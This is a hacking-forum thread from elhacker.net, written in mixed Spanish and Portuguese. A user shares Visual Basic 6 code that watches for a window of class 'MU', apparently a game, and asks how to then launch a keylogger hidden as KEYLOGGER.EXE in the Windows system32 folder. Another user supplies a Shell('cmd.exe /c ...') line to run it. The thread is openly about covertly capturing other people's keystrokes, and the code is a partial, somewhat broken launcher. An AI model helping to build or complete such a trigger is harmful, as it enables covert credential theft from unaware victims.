Foro de elhacker.net

Estoy con una duda. estoy creando un programa de monitoramento de ventanas para solo executar mi keylogger con la ventana que desejo capturar, pero que estoy com una duda para executar el keylogger que eres outro executable...

Option Explicit
Const MSmu = "MU"
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
     ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long

Private Sub Timer1_Timer()
Comprobar MSmu
End Sub

Private Sub Comprobar(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
     If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
   LA FUNCION PARA EXECUTAR EL KEYLOGGER QUE ESTA EN EL C:\WINDOWS\SYSTEM32\KEYLOGGER.EXE

    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
      End If
   
End Sub


Private Sub Form_Load()
  Timer1.Enabled = True
  Timer2.Enabled = False
  Timer1.Interval = 10000
  Timer2.Interval = 10000
End Sub


Private Sub Timer2_Timer()
Comproba MSmu
End Sub


Private Sub Comproba(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
    If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
 
    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
  End If
   
End Sub


eres una simples duda.
Ya tente shell y otros, pero que no executa >.<

Hola, por favor se mas claro que programa quieres hacer... YO TE AYUDO :P que nadie se me adelante

If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True

PROCURO LA FUNCION PARA EXECUTAR EL KEYLOGGER QUE ESTA EN EL E ANADIR-LO A ESTO C:\WINDOWS\SYSTEM32\KEYLOGGER.EXE

    Else

Private Sub Comprobar(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
     If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
Funcion para ejecutar el keylogger que esta en el c:\winodws\system32\keylogger.exe

    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
      End If
   
End Sub


Private Sub Form_Load()
  Timer1.Enabled = True
  Timer2.Enabled = False
  Timer1.Interval = 10000
  Timer2.Interval = 10000
End Sub

Gracias -Freeze-

Shell("cmd.exe /c nombre_del_ejecutable.exe"
  XD

xD jajajaaja

De nada....